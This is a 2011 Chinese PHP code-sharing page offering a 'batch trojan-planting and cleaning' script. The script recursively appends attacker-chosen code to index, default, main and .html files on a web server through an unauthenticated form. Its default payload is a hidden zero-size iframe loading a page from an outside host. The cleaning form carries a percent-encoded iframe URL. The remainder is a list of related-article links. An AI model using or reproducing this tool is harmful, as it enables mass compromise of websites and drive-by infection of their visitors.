php下批量挂马和批量清马代码


Posted in PHP onFebruary 27, 2011
<?php 
function gmfun($path=”.”) 
{ 
$d = @dir($path); 
while(false !== ($v = $d->read())) { 
if($v == “.” || $v == “..”) continue; 
$file = $d->path.”/”.$v; 
if(@is_dir($file)) { 
gmfun($file); 
} else { 
if(@ereg(stripslashes($_POST["key"]),$file)) { 
$mm=stripcslashes( trim( $_POST[mm] ) ); 
$handle = @fopen (”$file”, “a”); 
@fwrite($handle, “$mm”); 
@fclose($handle); 
echo “已挂马文件:$file\n<br>”; } 
} 
} 
$d->close(); 
echo ” “; 
} 
function qmfun($path=”.”) 
{ 
$d = @dir($path); 
while(false !== ($v = $d->read())) { 
if($v == “.” || $v == “..”) continue; 
$file = $d->path.”/”.$v; 
if(@is_dir($file)) { 
qmfun($file); 
} else { 
if(@ereg(stripslashes($_POST["key"]),$file)) { 
$mm=stripcslashes( trim( $_POST[mm] ) ); 
$handle = fopen (”$file”, “rb”); 
$oldcontent=fread($handle,filesize($file)); 
fclose($handle); 
$newcontent=str_replace($mm,””,$oldcontent); 
$fw = fopen (”$file”, “wb”); 
fwrite($fw,$newcontent,strlen($newcontent)); 
fclose($fw); 
echo “已清马文件:$file\n<br>”; 
} 
} 
} 
$d->close(); 
echo ” “; 
} 
if ($_GET['action']=='gm') { 
set_time_limit(0); 
gmfun($_POST["dir"]); 
} 
if ($_GET['action']=='qm') { 
set_time_limit(0); 
qmfun($_POST["dir"]); 
} 
?> 
<title>批量挂马(清马)程序php版</title><body> 
<form action=”<?$PHP_SELF?>?action=gm” method=”post”> 
<table border=”0″ align=”center” cellpadding=”0″ cellspacing=”0″> 
<tr> 
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”><font color=”#00FF00″ size=”4″>网站批量挂马程序php版 
BY n3tl04d</font></div> 
<td> </tr> 
<tr> 
<td height=”27″ bgcolor=”#CCCCCC”>路径:</td> 
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”dir” type=”text” value=”.”>(可填相对路径) 
<td> </tr> 
<tr> 
<td height=”27″ bgcolor=”#CCCCCC”>挂马关键字:</td> 
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”key” type=”text” value='index\.|default\.|main\.|\.html'>—?正则表达式匹配—— 
<td colspan=”2″ height=”1″></td> 
<td> </tr> 
<tr> 
<td height=”25″ bgcolor=”#CCCCCC”>想写入的挂马代码:</td> 
<td height=”25″ bgcolor=”#CCCCCC”><input name=”mm” type=”text” size=”50″ value='<iframe src=http://982.9966.org/b073399/b07.htm width=0 height=0 frameborder=0></iframe>'> 
<td> </tr> 
<tr> 
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”> 
<input type=”submit” name=”Submit” value=”提交”> 
   
<input type=”reset” name=”Submit2″ value=”重置”> 
</div></td> 
<td> </tr> 
</table> 
</form> 
<form action=”<?$PHP_SELF?>?action=qm” method=”post”> 
<table border=”0″ align=”center” cellpadding=”0″ cellspacing=”0″> 
<tr> 
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”><font color=”#00FF00″ size=”4″>批量清马工具php版 
BY 随风而去(LST)</font></div> 
<td> </tr> 
<tr> 
<td height=”27″ bgcolor=”#CCCCCC”>路径:</td> 
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”dir” type=”text” value=”.”>(可填相对路径) 
<td> </tr> 
<tr> 
<td height=”27″ bgcolor=”#CCCCCC”>清马关键字:</td> 
<td height=”27″ bgcolor=”#CCCCCC”> <input name=”key” type=”text” value='index\.|default\.|main\.|\.html'>—?正则表达式匹配—— 
<td colspan=”2″ height=”1″></td> 
<td> </tr> 
<tr> 
<td height=”25″ bgcolor=”#CCCCCC”>想清除的挂马代码:</td> 
<td height=”25″ bgcolor=”#CCCCCC”><input name=”mm” type=”text” size=”50″ value='<iframe src=http://%31%73%61%6e%69%32%6b%6d%2e%63%6e/%6A%6A%32.htm width=50 height=0 frameborder=0></iframe>'> 
<td> </tr> 
<tr> 
<td height=”25″ colspan=”2″ bgcolor=”006699″> <div align=”center”> 
<input type=”submit” name=”Submit” value=”提交”> 
   
<input type=”reset” name=”Submit2″ value=”重置”> 
</div></td> 
<td> </tr> 
</table> 
</form>
PHP 相关文章推荐
PHP生成便于打印的网页
Oct 09 PHP
zend framework多模块多布局配置
Feb 26 PHP
php获取后台Job管理的实现代码
Jun 10 PHP
第4章 数据处理-php字符串的处理-郑阿奇(续)
Jul 04 PHP
纯PHP生成的一个树叶图片画图例子
Apr 16 PHP
用 Composer构建自己的 PHP 框架之构建路由
Oct 30 PHP
编写PHP脚本使WordPress的主题支持Widget侧边栏
Dec 14 PHP
PHP并发多进程处理利器Gearman使用介绍
May 16 PHP
thinkphp实现分页显示功能
Dec 03 PHP
PHP 中常量的知识整理
Apr 14 PHP
php数值转换时间及时间转换数值用法示例
May 18 PHP
Laravel框架之解决前端显示图片问题
Oct 24 PHP
php SQL Injection with MySQL
Feb 27 #PHP
PHP的SQL注入实现(测试代码安全不错)
Feb 27 #PHP
php通用防注入程序 推荐
Feb 26 #PHP
8个出色的WordPress SEO插件收集
Feb 26 #PHP
zend framework多模块多布局配置
Feb 26 #PHP
让你成为更出色的PHP开发者的10个技巧
Feb 25 #PHP
理解php Hash函数,增强密码安全
Feb 25 #PHP
You might like
php MySQL与分页效率
2008/06/04 PHP
PHP 生成微信红包代码简单
2016/03/25 PHP
Javascript的一种模块模式
2008/03/22 Javascript
JavaScript的parseInt 进制问题
2009/05/07 Javascript
JavaScript中常见陷阱小结
2010/04/27 Javascript
你需要知道的10个最佳javascript开发实践小结
2012/04/15 Javascript
js判断url是否有效的两种方法
2014/03/04 Javascript
获取当前点击按钮的id用this.id实现
2014/03/17 Javascript
jquery新的绑定事件机制on方法的使用方法
2014/04/15 Javascript
node.js中的events.emitter.once方法使用说明
2014/12/10 Javascript
浅谈重写window对象的方法
2014/12/29 Javascript
js实现文本框只允许输入数字并限制数字大小的方法
2015/08/19 Javascript
javaScript实现可缩放的显示区效果代码
2015/10/26 Javascript
基于Jquery制作图片文字排版预览效果附源码下载
2015/11/18 Javascript
学习JavaScript鼠标响应事件
2015/12/25 Javascript
jQuery 更改checkbox的状态,无效的解决方法
2016/07/22 Javascript
浅析Jquery操作select
2016/12/13 Javascript
使用webpack搭建vue项目及注意事项
2019/06/10 Javascript
[01:18:43]2014 DOTA2华西杯精英邀请赛5 24 iG VS DK
2014/05/25 DOTA
Python中使用partial改变方法默认参数实例
2015/04/28 Python
python协程用法实例分析
2015/06/04 Python
基于Python实现文件大小输出
2016/01/11 Python
利用python解决mysql视图导入导出依赖的问题
2017/12/17 Python
python如何求解两数的最大公约数
2018/09/27 Python
opencv+python实现均值滤波
2020/02/19 Python
python实现五子棋程序
2020/04/24 Python
Python使用re模块验证危险字符
2020/05/21 Python
德国体育用品网上商店:SC24.com
2016/08/01 全球购物
法国最大的在线眼镜店:EasyLunettes
2019/08/26 全球购物
2014派出所所长群众路线对照检查材料思想汇报
2014/09/18 职场文书
教师学习三严三实心得体会
2014/10/13 职场文书
2014年保育员个人工作总结
2014/12/02 职场文书
庐山导游词
2015/02/03 职场文书
拾金不昧表扬稿大全
2015/05/05 职场文书
看看如何用Python绘制小米新版天价logo
2021/04/20 Python
Spring Data JPA框架的核心概念和Repository接口
2022/04/28 Java/Android